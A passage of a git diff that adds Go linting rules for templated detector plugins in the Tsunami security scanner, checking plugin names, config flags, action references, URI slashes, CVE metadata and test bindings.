should be a blocker for merging the plugin. +func (r *RuleResult) Blocking() bool { + return r.blocking +} + +// NewRuleResult creates a new RuleResult. +func NewRuleResult(identifier, reason, helperURL string, blocking bool, filename string, lineNumber int) *RuleResult { + return &RuleResult{ + identifier: identifier, + blocking: blocking, + reason: reason, + helperURL: helperURL, + filename: filename, + lineNumber: lineNumber, + } +} diff --git a/templated/utils/linter/rules/plugin_actions_checks.go b/templated/utils/linter/rules/plugin_actions_checks.go new file mode 100644 index 000000000..eb52380e9 --- /dev/null +++ b/templated/utils/linter/rules/plugin_actions_checks.go @@ -0,0 +1,116 @@ +// Copyright 2025 Google LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// https://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package rules + +import ( + "fmt" + "regexp" + "slices" + + tpb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" + tspb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" +) + +var ( + actionNameConvention = regexp.MustCompile("^[a-zA-Z0-9_]+$") +) + +// PluginActionChecks checks the actions defined in the plugin. +type PluginActionChecks struct{} + +// Check checks the plugin against the linting rule. +func (r *PluginActionChecks) Check(path string, plugin *tpb.TemplatedPlugin, testFile string, tests *tspb.TemplatedPluginTests) ([]*RuleResult, error) { + if plugin == nil { + return nil, fmt.Errorf("plugin is nil") + } + + var results []*RuleResult + var actionNames []string + var usedActionNames []string + + // Cache action names and references to these names. + for _, action := range plugin.GetActions() { + actionNames = append(actionNames, action.GetName()) + cleanups := action.GetCleanupActions() + usedActionNames = append(usedActionNames, cleanups...) + } + + for _, workflow := range plugin.GetWorkflows() { + for _, action := range workflow.GetActions() { + usedActionNames = append(usedActionNames, action) + } + } + + // Check the names of the actions. + pluginName := plugin.GetInfo().GetName() + for _, action := range actionNames { + if !actionNameConvention.MatchString(action) { + results = append(results, r.invalidActionName(path, pluginName, action)) + } + } + + // Check that all cleanups actions are defined. + for _, action := range plugin.GetActions() { + actionName := action.GetName() + for _, cleanup := range action.GetCleanupActions() { + if !slices.Contains(actionNames, cleanup) { + results = append(results, r.undefinedCleanup(path, pluginName, actionName, cleanup)) + } + } + } + + // Check that all actions defined in workflows are defined. + for i, workflow := range plugin.GetWorkflows() { + for _, action := range workflow.GetActions() { + if !slices.Contains(actionNames, action) { + results = append(results, r.undefinedAction(path, pluginName, i, action)) + } + } + } + + // Check that all actions are used. + for _, action := range actionNames { + if !slices.Contains(usedActionNames, action) { + results = append(results, r.unusedAction(path, pluginName, action)) + } + } + + return results, nil +} + +// An action has a name that does not match the convention. +func (r *PluginActionChecks) invalidActionName(filename, pluginName, actionName string) *RuleResult { + reason := fmt.Sprintf("Action %q defined in plugin %q: Name does not match the `[a-zA-Z0-9_]` convention.", actionName, pluginName) + helperURL := "https://google.github.io/tsunami-security-scanner/howto/new-detector/templated/appendix-naming-actions" + return NewRuleResult("plugin-action-invalid-name", reason, helperURL, true, filename, 0) +} + +// A cleanup action is not defined in the plugin. +func (r *PluginActionChecks) undefinedCleanup(filename, pluginName, actionName, cleanupName string) *RuleResult { + reason := fmt.Sprintf("Action %q in plugin %q references %q as a cleanup but it is never defined.", actionName, pluginName, cleanupName) + return NewRuleResult("plugin-cleanup-not-defined", reason, "", true, filename, 0) +} + +// An action defined in a workflow is not defined in the plugin. +func (r *PluginActionChecks) undefinedAction(filename, pluginName string, workflowIndex int, actionName string) *RuleResult { + reason := fmt.Sprintf("Workflow %d in plugin %q references %q as an action but it is never defined.", workflowIndex, pluginName, actionName) + return NewRuleResult("plugin-action-not-defined", reason, "", true, filename, 0) +} + +// An action is defined but is never used. +func (r *PluginActionChecks) unusedAction(filename, pluginName, actionName string) *RuleResult { + reason := fmt.Sprintf("Action %q in plugin %q is never used.", actionName, pluginName) + return NewRuleResult("plugin-action-unused", reason, "", true, filename, 0) +} diff --git a/templated/utils/linter/rules/plugin_config_checks.go b/templated/utils/linter/rules/plugin_config_checks.go new file mode 100644 index 000000000..016c3b8b4 --- /dev/null +++ b/templated/utils/linter/rules/plugin_config_checks.go @@ -0,0 +1,57 @@ +// Copyright 2025 Google LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// https://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package rules + +import ( + "fmt" + + tpb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" + tspb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" +) + +// PluginConfigChecks checks the config section of the plugin. +type PluginConfigChecks struct{} + +// Check checks the plugin against the linting rule. +func (r *PluginConfigChecks) Check(path string, plugin *tpb.TemplatedPlugin, testFile string, tests *tspb.TemplatedPluginTests) ([]*RuleResult, error) { + if plugin == nil { + return nil, fmt.Errorf("plugin is nil") + } + + var results []*RuleResult + pluginName := plugin.GetInfo().GetName() + + // Check that debug is not be enabled. + if plugin.GetConfig().GetDebug() { + results = append(results, r.debugModeEnabled(path, pluginName)) + } + + // Check that the plugin is not disabled. + if plugin.GetConfig().GetDisabled() { + results = append(results, r.pluginDisabled(path, pluginName)) + } + + return results, nil +} + +func (r *PluginConfigChecks) debugModeEnabled(filename, pluginName string) *RuleResult { + reason := fmt.Sprintf("Plugin %q is in debug mode. Please disable debug mode before merging the plugin.", pluginName) + return NewRuleResult("plugin-debug-mode", reason, "", true, filename, 0) +} + +func (r *PluginConfigChecks) pluginDisabled(filename, pluginName string) *RuleResult { + reason := fmt.Sprintf("Plugin %q is disabled. Please enable the plugin before merging it.", pluginName) + return NewRuleResult("plugin-disabled", reason, "", true, filename, 0) +} diff --git a/templated/utils/linter/rules/plugin_name_convention.go b/templated/utils/linter/rules/plugin_name_convention.go new file mode 100644 index 000000000..7ef90daed --- /dev/null +++ b/templated/utils/linter/rules/plugin_name_convention.go @@ -0,0 +1,85 @@ +// Copyright 2025 Google LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// https://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package rules + +import ( + "fmt" + "path/filepath" + "regexp" + "strings" + + tpb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" + tspb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" +) + +var ( + pluginNameConvention = regexp.MustCompile("[a-zA-Z0-9_]+") + pluginNameCVEConvention = regexp.MustCompile("CVE_[0-9]{4}_[0-9]{4,}$") +) + +// PluginNameRespectsConvention checks that the name of the plugin follows the convention. +// See the convention: https://google.github.io/tsunami-security-scanner/howto/new-detector/templated/appendix-naming-plugin +type PluginNameRespectsConvention struct{} + +// Check checks the plugin against the linting rule. +func (r *PluginNameRespectsConvention) Check(path string, plugin *tpb.TemplatedPlugin, testFile string, tests *tspb.TemplatedPluginTests) ([]*RuleResult, error) { + if plugin == nil { + return nil, fmt.Errorf("plugin is nil") + } + + var results []*RuleResult + + // the plugin name matches the regexp + pluginName := plugin.GetInfo().GetName() + if !pluginNameConvention.MatchString(pluginName) { + results = append(results, r.nameFailsRegexp(pluginName, path)) + } + + // the plugin name matches the name of the file + got := filepath.Base(path) + want := pluginName + ".textproto" + if got != want { + results = append(results, r.invalidFilename(pluginName, got)) + } + + // if the plugin is in the CVE directory, its name must contain the CVE number. + if strings.Contains(filepath.Dir(path), "/cve/") { + if !pluginNameCVEConvention.MatchString(pluginName) { + results = append(results, r.missingCVENumberInName(pluginName, path)) + } + } + + return results, nil +} + +// The plugin name does not match the naming regexp. +func (r *PluginNameRespectsConvention) nameFailsRegexp(pluginName, filename string) *RuleResult { + reason := fmt.Sprintf("The plugin name %q does not match the %q convention", pluginName, pluginNameConvention.String()) + helperURL := "https://google.github.io/tsunami-security-scanner/howto/new-detector/templated/appendix-naming-plugin" + return NewRuleResult("plugin-name-failed-regexp", reason, helperURL, true, filename, 0) +} + +// The plugin name and the filename do not match. +func (r *PluginNameRespectsConvention) invalidFilename(pluginName, got string) *RuleResult { + reason := fmt.Sprintf("The plugin name %q and filename %s do not match. Expected filename to follow the format name.textproto (%s.textproto)", pluginName, got, pluginName) + return NewRuleResult("plugin-name-does-not-match-filename", reason, "", true, got, 0) +} + +// The plugin is defined in the `cve/` directory but its name does not reflect the affected CVE. +func (r *PluginNameRespectsConvention) missingCVENumberInName(pluginName, filename string) *RuleResult { + reason := fmt.Sprintf("The plugin %q is in the CVE directory its name does not match the `CVE_YYYY_NNNN` convention", pluginName) + helperURL := "https://google.github.io/tsunami-security-scanner/howto/new-detector/templated/appendix-naming-plugin" + return NewRuleResult("plugin-name-missing-cve-number", reason, helperURL, true, filename, 0) +} diff --git a/templated/utils/linter/rules/plugin_uris_leading_slash.go b/templated/utils/linter/rules/plugin_uris_leading_slash.go new file mode 100644 index 000000000..49dfed006 --- /dev/null +++ b/templated/utils/linter/rules/plugin_uris_leading_slash.go @@ -0,0 +1,56 @@ +// Copyright 2025 Google LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// https://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package rules + +import ( + "fmt" + "strings" + + tpb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" + tspb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" +) + +// PluginURIHaveLeadingSlash ensure that the `uri` field in actions is `/` prefixed. +type PluginURIHaveLeadingSlash struct{} + +// Check checks the plugin against the linting rule. +func (r *PluginURIHaveLeadingSlash) Check(path string, plugin *tpb.TemplatedPlugin, testFile string, tests *tspb.TemplatedPluginTests) ([]*RuleResult, error) { + if plugin == nil { + return nil, fmt.Errorf("plugin is nil") + } + + var results []*RuleResult + + for _, action := range plugin.GetActions() { + switch action.AnyAction.(type) { + case *tpb.PluginAction_HttpRequest: + actionName := action.GetName() + for _, uri := range action.GetHttpRequest().GetUri() { + if uri == "" || !strings.HasPrefix(uri, "/") { + finding := r.missingLeadingSlash(path, plugin.GetInfo().GetName(), actionName, uri) + results = append(results, finding) + } + } + } + } + + return results, nil +} + +// Some actions have URIs that do not have a leading slash. +func (r *PluginURIHaveLeadingSlash) missingLeadingSlash(filename, pluginName, actionName, uri string) *RuleResult { + reason := fmt.Sprintf("Action %q defined in plugin %q: URI %q is not prefixed with a slash.", actionName, pluginName, uri) + return NewRuleResult("plugin-uri-missing-leading-slash", reason, "", false, filename, 0) +} diff --git a/templated/utils/linter/rules/plugin_vuln_checks.go b/templated/utils/linter/rules/plugin_vuln_checks.go new file mode 100644 index 000000000..d2790af5d --- /dev/null +++ b/templated/utils/linter/rules/plugin_vuln_checks.go @@ -0,0 +1,115 @@ +// Copyright 2025 Google LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// https://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package rules + +import ( + "fmt" + "regexp" + "strings" + + tpb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" + tspb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" +) + +var ( + cveFormatRegexp = regexp.MustCompile(`^CVE-[0-9]{4}-[0-9]{4,}$`) +) + +// PluginVulnChecks checks that the generated vulnerability matches expectations. +type PluginVulnChecks struct{} + +// Check checks the plugin against the linting rule. +func (r *PluginVulnChecks) Check(path string, plugin *tpb.TemplatedPlugin, testFile string, tests *tspb.TemplatedPluginTests) ([]*RuleResult, error) { + if plugin == nil { + return nil, fmt.Errorf("plugin is nil") + } + + var results []*RuleResult + + // main_id section + if plugin.GetFinding().GetMainId() == nil { + results = append(results, r.missingMainID(path)) + } else { + if plugin.GetFinding().GetMainId().GetPublisher() == "" { + results = append(results, r.missingMainIDField(path, "publisher")) + } + + if plugin.GetFinding().GetMainId().GetValue() == "" { + results = append(results, r.missingMainIDField(path, "value")) + } + } + + // title, description, recommendation and severity + if plugin.GetFinding().GetTitle() == "" { + results = append(results, r.missingFindingField(path, "title")) + } + + if plugin.GetFinding().GetDescription() == "" { + results = append(results, r.missingFindingField(path, "description")) + } + + if plugin.GetFinding().GetRecommendation() == "" { + results = append(results, r.missingFindingField(path, "recommendation")) + } + + if plugin.GetFinding().GetSeverity() == 0 { + results = append(results, r.missingFindingField(path, "severity")) + } + + // if the file is in the CVE directory, it should be possible to set the `related_id` field. + if strings.Contains(path, "/cve/") { + if len(plugin.GetFinding().GetRelatedId()) == 0 { + results = append(results, r.missingRelatedID(path)) + } else { + hasCVE := false + for _, related := range plugin.GetFinding().GetRelatedId() { + if related.GetPublisher() == "CVE" && cveFormatRegexp.MatchString(related.GetValue()) { + hasCVE = true + } + } + + if !hasCVE { + results = append(results, r.malformedRelatedID(path)) + } + } + } + + return results, nil +} + +func (r *PluginVulnChecks) missingMainID(filename string) *RuleResult { + reason := fmt.Sprintf("The `main_id` field is missing from the plugin finding section. Please add it.") + return NewRuleResult("plugin-missing-main-id", reason, "", true, filename, 0) +} + +func (r *PluginVulnChecks) missingMainIDField(filename, fieldname string) *RuleResult { + reason := fmt.Sprintf("The `main_id.%s` field is missing from the plugin finding section. Please add it.", fieldname) + return NewRuleResult("plugin-missing-main-id-publisher", reason, "", true, filename, 0) +} + +func (r *PluginVulnChecks) missingFindingField(filename, fieldname string) *RuleResult { + reason := fmt.Sprintf("The `%s` field is missing from the plugin finding section. Please add it.", fieldname) + return NewRuleResult("plugin-missing-finding-field", reason, "", true, filename, 0) +} + +func (r *PluginVulnChecks) missingRelatedID(filename string) *RuleResult { + reason := fmt.Sprintf("The `related_id` field is missing from the plugin finding section. The plugin is in the cve directory, so it should be possible to associate it to a CVE.") + return NewRuleResult("plugin-missing-related-id", reason, "", false, filename, 0) +} + +func (r *PluginVulnChecks) malformedRelatedID(filename string) *RuleResult { + reason := fmt.Sprintf("The `related_id` field is missing or has an invalid format. The plugin is in the cve directory, so it should be possible to associate it to a CVE.") + return NewRuleResult("plugin-invalid-related-id", reason, "", false, filename, 0) +} diff --git a/templated/utils/linter/rules/rules.go b/templated/utils/linter/rules/rules.go new file mode 100644 index 000000000..b391c479e --- /dev/null +++ b/templated/utils/linter/rules/rules.go @@ -0,0 +1,48 @@ +// Copyright 2025 Google LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// https://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +// Package rules provides linting rules and the list of enabled rules. +package rules + +import ( + tpb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" + tspb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" +) + +// EnabledRules is the list of enabled linting rules. +var EnabledRules = []Rule{ + &PluginVulnChecks{}, + &PluginConfigChecks{}, + &TestsConfigChecks{}, + &PluginActionChecks{}, + &TestsURIHaveLeadingSlash{}, + &PluginURIHaveLeadingSlash{}, + &PluginNameRespectsConvention{}, +} + +// RunAll runs all the enabled linting rules against the given plugin and its tests. +func RunAll(pluginPath string, plugin *tpb.TemplatedPlugin, testFile string, tests *tspb.TemplatedPluginTests) ([]*RuleResult, error) { + var results []*RuleResult + + for _, rule := range EnabledRules { + r, err := rule.Check(pluginPath, plugin, testFile, tests) + if err != nil { + return nil, err + } + + results = append(results, r...) + } + + return results, nil +} diff --git a/templated/utils/linter/rules/tests_config_checks.go b/templated/utils/linter/rules/tests_config_checks.go new file mode 100644 index 000000000..bbea22a70 --- /dev/null +++ b/templated/utils/linter/rules/tests_config_checks.go @@ -0,0 +1,65 @@ +// Copyright 2025 Google LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// https://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package rules + +import ( + "fmt" + + tpb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" + tspb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" +) + +// TestsConfigChecks performs checks on the tests configuration. +type TestsConfigChecks struct{} + +// Check checks the plugin against the linting rule. +func (r *TestsConfigChecks) Check(path string, plugin *tpb.TemplatedPlugin, testFile string, tests *tspb.TemplatedPluginTests) ([]*RuleResult, error) { + if plugin == nil { + return nil, fmt.Errorf("plugin is nil") + } + + if tests == nil { + // Stop the rule, but do not interrupt the linting execution. + return nil, nil + } + + var results []*RuleResult + + // In most cases, a disabled tests highlights a mistake. + if tests.GetConfig().GetDisabled() { + results = append(results, r.disabledTests(testFile, plugin.GetInfo().GetName())) + } + + // The tests are not bound to any plugin or to the wrong plugin. + boundToPlugin := tests.GetConfig().GetTestedPlugin() + pluginName := plugin.GetInfo().GetName() + if boundToPlugin != pluginName { + results = append(results, r.invalidPluginBinding(testFile, pluginName, boundToPlugin)) + } + + return results, nil +} + +// Disabled tests are not allowed. +func (r *TestsConfigChecks) disabledTests(filename, pluginName string) *RuleResult { + reason := fmt.Sprintf("Tests for plugin %q are disabled. Is this expected?", pluginName) + return NewRuleResult("tests-disabled", reason, "", false, filename, 0) +} + +// The tests are bound to the wrong plugin. +func (r *TestsConfigChecks) invalidPluginBinding(filename, pluginName, boundToPlugin string) *RuleResult { + reason := fmt.Sprintf("Tests for plugin %q are bound to plugin %q. Is the tested_plugin field in the test config set correctly?", pluginName, boundToPlugin) + return NewRuleResult("tests-invalid-plugin-binding", reason, "", true, filename, 0) +} diff --git a/templated/utils/linter/rules/tests_uris_leading_slash.go b/templated/utils/linter/rules/tests_uris_leading_slash.go new file mode 100644 index 000000000..35ea433c8 --- /dev/null +++ b/templated/utils/linter/rules/tests_uris_leading_slash.go @@ -0,0 +1,85 @@ +// Copyright 2025 Google LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// https://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package rules + +import ( + "fmt" + slice "slices" + "strings" + + tpb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" + tspb "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto" +) + +var ( + // These are magic markers that Tsunami will interpret differently. We need to ignore them. + tsunamiMagicURIs = []string{ + "TSUNAMI_MAGIC_ANY_URI", + "TSUNAMI_MAGIC_ECHO_SERVER", + } +) + +// TestsURIHaveLeadingSlash ensure that the `uri` field in mocks are `/` prefixed. +type TestsURIHaveLeadingSlash struct{} + +// Check checks the plugin against the linting rule. +func (r *TestsURIHaveLeadingSlash) Check(path string, plugin *tpb.TemplatedPlugin, testFile string, tests *tspb.TemplatedPluginTests) ([]*RuleResult, error) { + if plugin == nil { + return nil, fmt.Errorf("plugin is nil") + } + + if tests == nil { + // Stop the rule, but do not interrupt the linting execution. + return nil, nil + } + + pluginName := plugin.GetInfo().GetName() + var results []*RuleResult + for _, test := range tests.GetTests() { + if test.GetMockHttpServer() == nil { + continue + } + + testName := test.GetName() + for _, response := range test.GetMockHttpServer().GetMockResponses() { + uri := response.GetUri() + if slice.Contains(tsunamiMagicURIs, uri) { + continue + } + + if strings.HasPrefix(uri, "TSUNAMI_") && !slice.Contains(tsunamiMagicURIs, uri) { + results = append(results, r.invalidMagic(testFile, pluginName, testName, uri)) + } + + if uri == "" || !strings.HasPrefix(uri, "/") { + results = append(results, r.missingLeadingSlash(testFile, pluginName, testName, uri)) + } + } + } + + return results, nil +} + +// Some tests uses HTTP mocks that have URIs without a leading slash. +func (r *TestsURIHaveLeadingSlash) missingLeadingSlash(filename, pluginName, testName, uri string) *RuleResult { + reason := fmt.Sprintf("Test %q for plugin %q: Mocked URI %q does not have a slash prefix.", testName, pluginName, uri) + return NewRuleResult("tests-mock-uri-missing-leading-slash", reason, "", false, filename, 0) +} + +// Some tests use a mock URI that looks like a magic URI but is not. +func (r *TestsURIHaveLeadingSlash) invalidMagic(filename, pluginName, testName, uri string) *RuleResult { + reason := fmt.Sprintf("Test %q for plugin %q: Mocked URI %q looks like a magic URI but is not. Is this expected?.", testName, pluginName, uri) + return NewRuleResult("tests-mock-uri-invalid-magic", reason, "", false, filename, 0) +}